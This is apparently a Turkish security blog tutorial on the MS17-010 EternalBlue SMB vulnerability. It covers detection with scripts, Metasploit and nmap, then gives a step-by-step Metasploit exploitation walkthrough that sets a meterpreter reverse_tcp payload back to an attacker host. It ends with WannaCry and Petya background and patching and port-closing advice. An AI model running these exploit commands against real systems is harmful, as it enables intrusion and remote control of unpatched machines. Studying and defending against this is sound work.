TR | MS17-010 Zafiyeti ve Korunma Yöntemleri
Shadow Brokers ekibi tarafından NSA’ye ait Windows Hacking araçları bir kaç ay önce sızdırıldı. Windows bilgisayarları kolayca istismar etmek için NSA tarafından yazılan/kullanılan araçlar adete bir cephanelik gibi içerisinde çok önemli araçlar bulunmaktadır.Eternalblue & Doublepulsar olarak adlandırılan kısaca smb üzerinden dll injection yaparak hedefe sızmayı sağlıyor.Hatta EternalBlue zafiyetinden yararlanarak WannaCry ve Petya zararlı yazılımları dünyada birçok sistemi olumsuz etkilemiştir.
Araçlara aşağıdaki linkten ulaşabilirsiniz
https://github.com/misterch0c/shadowbroker
Tenable Network Security ekibi yaptığı açılamada.
Sızdırılan veriler arasında birçok exploit ve zero-day açıkları bulunuyor. Hatta bazı exploitler seçili Windows sistemleri üzerinde ‘God Mode’ özelliği bile sunuyor. Hedeflenen ürünler arasında Lotus Notes, Lotus Domino, IIS, SMB, Windows XP, Windows 8, Windows Server 2003 ve Windows Server 2012 bulunuyor.
Yayınlanan araçlardan en çok dikkat çekeni Windows’taki CVE-2017-010 SMB güvenlik açığını inceleyeceğiz.Shodow Brokers bu belgeleri 14 Nisanda açıklamıştı.Windows Mart ayında bu zafiyetin yamasını daha önceden yayınlamıştı.Yamanın yayınlanmasına rağmen güncelleme yapmayan bilgisayarlar için potansiyel olarak hala tehlike halindedir.Bu zafiyetin kullanılabilmesi için 445 smb portunun açık olması gerekmektedir.
CVE-2017-010 SMB zafiyeti Windows XP işletim sistemlerde görülen MS08-067(exploits/windows/smb/ms08_067_netapi) zafiyetini de akıllara getirdi ve daha fazla sistem etkilenmiş durumdadır.Aşağıda etkilenen sistemler listesi gözükmektedir.
Windows Server 2003 SP0 (x86) Windows XP (all services pack) (x86) (x64) Windows Server 2003 SP1/SP2 (x86) Windows Server 2003 (x64) Windows Vista (x86) Windows Vista (x64) Windows Server 2008 (x86) Windows 7 (all services pack) (x86) (x64) Windows Server 2008 R2 (x86) (x64)
Kontrol Yöntemleri
1)Python Script
Hedef makinada bu açıklığın olup olmadığını anlamak için aşağıdaki python scripti bu kontolü yapılabilmektedir. Kullanımı çok basitir.
Betiği indirelim.
wget https://raw.githubusercontent.com/nixawk/labs/master/MS17_010/smb_exploit.py
Python scripti çalıştırmak için argüman olarak taranmak istenen ip adresi yazılmalıdır.Tarama sonucunda hedef sistemde bu zafiyet varsa “is likely VULNERABLE to MS17-010!” yazısı çıkmaktadır eğer zafiyet bulunmuyorsa does “NOT appear vulnerable” yazısı çıkacaktır.
python smb_exploit.py 192.168.2.146
Taranan ip’de zafiyet olduğu gözükmektedir.
2)Metasploit Auxiliary
Metasploit ile yapacağımız taramalarda daha önce tespit ettiğimiz hedef IP adreslerini kullanacağız
CVE-2017-010 zafiyetinin bir makinada olup olmadığını anlamak için metasploit’te hazır bulunan smb_ms17_010 auxiliary’ini kullanırız.
msfconsole msf> use auxiliary/scanner/smb/smb_ms17_010
Metasploit’te smb_ms17_010 auxiliary’e hedef ip’yi verdikten sonra bize CVE-2017-010 zafiyeti bulunup bulunmadığını söyleyecek.
msf>set rhosts 192.168.2.144
set rhosts komutundan sonra istenirse ip’lerin arasına boşluk konularak daha fazla ip taraması yapılabilmektedir.
msf>set rhosts 192.168.2.144 192.168.2.146 10.15.124
[!] 192.168.2.144:445 – Host is likely VULNERABLE to MS17-010! —>Makinada zafiyet MS17-010 zafiyeti var.
3)Nmap Scripts
Hedef sistemde bu açıklığın olup olmadığını anlamanın diğer bir yöntemi ise nmap aracıdır.MS017-01 exploitnin kontrolü için yazılan betik nmap scrips klasörü altına atıldıktan sonra kullanıma hazır olacaktır.Script’,in nmap script klasörü içerisine eklenmesi gerekmektedir.
cd /usr/share/nmap/scripts wget https://svn.nmap.org/nmap/scripts/smb-vuln-ms17-010.nse
Bu açıkık smb 445 portundan kaynaklandığı için aşağıdaki nmap komutu ile kontol sağlanmış olur.
nmap -p445 --script smb-vuln-ms17-010 192.168.1.42
Tarama sonucunda ms17-010 açıklığının olduğu anlaşılmış oldu.
4)Online Tarama
Eğer internete açık Windows sunucularınızda MS17-010 zafiyetinin olup olmadığını http://ms17-10.com üzerinden de online olarak ücretsiz bir şekilde test edebilirsiniz.
Exploit Etme İşlemleri
1)Metasploite Exploit Ekleme
Metasploit kullanarak meterpreter için aşağıdaki linkeki dosyaları eklemeliyiz.
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
Exploit windows’a ait dll dosyaları içierdiği için wine32’nin kurulu olması gerekmektedir.
Kullandığınız işletim sisteminiz 64 bit ise aşağıdaki komut ile wine32 kurulmalıdır.
dpkg --add-architecture i386 && apt-get update && apt upgrade -y && apt autoremove apt-get install wine32
Kurulum bittikten sonra wine programının tam olarak çalıştığından emin olmak için küçük herhangi bir exe dosyası çalıştırmayı deneyiniz.
Örnek olarak cmd.exe yi çalıştırabilirsiniz
wine cmd.exe exit
Exploit için ilk önce metasploit’in veritabanı olarak kullandığı postgresql servisi başlatılmalıdır.
service postgresql start
Metasploit dizindeki Windows smb exploitlerinin bulunduğu dizine terminalden gelinir.
cd /usr/share/metasploit-framework/modules/exploits/windows/smb/
Exploit belirtilen dosya içine indirilir.
wget https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/blob/master/eternalblue_doublepulsar.rb
İndirilen exploit’in metasploit tarafından algılayabilmesi için postgresql servisi yeniden başlatılır.
service postgresql restart
Terminalden yeni bir sekme açalım ve ana dizine gidelim ve exploitimizin çalışması için gerekli olan dosyaları indirelim.Gerekli dosyaların bulunduğu dizinen gidelim ve dosya yolunu kaydedelim.
cd ~ git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git cd Eternalblue-Doublepulsar-Metasploit/ cd deps/ pwd
Dosya yolunu indirdiğimiz exploitin içine eklemeliyiz.Exploit’i açalım.
nano /usr/share/metasploit-framework/modules/exploits/windows/smb/eternalblue_doublepulsar.rb
TARGETARCHITECTURE ve ETERNALBLUEPATH’a /root/Eternalblue-Doublepulsar-Metasploit/deps dizinini ekleyelim.
Böylece her exploiti kullanmak istediğimizde kütüphanelerin bulunduğu dizini her seferinde yazmak zorunda kalmayız.
ssss
Metasploit açtıktan sonra “eternalblue_doublepulsar” exploitimizi açalım.Exploit edilecek hedef ip yazılır(rhost) daha sonra hedef işletim sistemine göre target(set target 8) belirlenir.info komutu ile exploitin desteklediği işletim sistemleri belirlenebilir.Hedef işletim sisteminin mimarisi belirlenir(32 mi 64 bit mi).Exploit edilme işlemi sonrasında hedef sisteme sızmak ve istenilen işlemleri gerçekleştirmek için payload belirlenmelidir(set payload).Sardırgan ip adresi(lhost) sisteme girilir ve exploit işlemi başlatıtır(run ya da exploit).
msfconsole msf>use exploit/windows/smb/eternalblue_doublepulsar msf>show options msf>set rhost 192.168.2.144 msf>set target 8 msf>set targetarchitecture x64 msf>set payload windows/x64/meterpreter/reverse_tcp msf>set lhost 192.168.2.128 msf>run
2)Hazır Metasploit Exploiti
use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.69.146 set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.69.138 run
Wannacry Virüsü
Wannacry virüsü Mayıs ayında dünya çapında birçok ülkeyi etkileyen büyük çapta bir fidye yazılım saldırısı gerçekleştirilmiştir. Wannacry fidye virüsü hedeflerini mail atma phishing gibi sosyal mühendislik yöntemleri yerine hiçbir kullanıcı etkileşimine gerek kalmadan Microsoft Windows’un SMBv1 sisteminde bulunan MS17-010 kapsamında tanımlanıp güncelleme yapılmamış bilgisayarlardaki güvenlik açığından faydalanarak bulaşmaktadır.Türkiye wannacry virüsünden pek etkilenmese de Rusya ve İngiltere’ninde içinde bulunduğu 74 ülke etkilenmiştir.
Petya Fidye Yazılımı
Petra sırasıyla Ukrayna, Danimarka, İspanya ve Fransa’da görülmeye başlandı.Bulaştığı yerlerden şirketleri etkileyerek 300 dolarlık fidye talep etmektedir.Petya yazılımı ransomware’in bu yeni gelişmiş bir versiyonu olacak düşünülebilir.Geçen aylarda sadece 72 saatte 300.000 sistem ve sunucuya bulaştığı gözlemlenmiş ve tıpkı WannaCry gibi Windows SMBv1 güvenlik açığı (MS17-010) sayesinde hızla yaygınlık göstermiş ve bulaşmasıda kolay olmuştur.
Petra SMBv1 güvenlik açığının dışında spam e-postalar ile sisteme enfekte olmaktadır. Bilgisayar kullanıcılarına CVE-2017-0199 zafiyeti üzerinden sosyal mühendislik yömtemleriyle e-postalar yoluyla bulaştırılmaktadır.
Wannacry ve Petya’dan Korunma Yöntemi
Kullanılmakta olan Windows işletim sisteminin güncelleştirmeleri düzenli olarak yapılmalıdır.Lisanslı, güncel antivirüs ve bilenen antivirüs yazılımı kullanılmalıdır.Antivirüsler kendi otomatik güncellemeleri dışında elle güncelleme yapılarak ,virüs imzaları sürekli güncel olmalıdır.445 portunu kullananSMBv1 protokolü kullanılmıyorsa kapatılmalıdır.Önemli verilerinizin tutulduğu sistemlerin düzenli olarak son yedeklerini kontrol edilerek yedeklemeler otomatize bir şekilde yapılmalı.Alınan yedekler farklı bir sunucuda tutulmalıdır.Özellikle dışarıya açık UDP port 137 ve 138, TCP port 139 ve 445’i kapatılması gerekmektedir.Petrada görülen perfc.dat dosyası diğer sistemlere mail yoluyla gönderiliyor ve kuruluyor bunu önlemek için PSexec’in çalıştırılmasını antivirüsler yoluyla engelleyin.Şirket çalışanları tarafından virüsün tüm sisteme yayılmasını önlemek için gerekiyorsa kullanıcılara dosyalara okuma izni verilmelidir.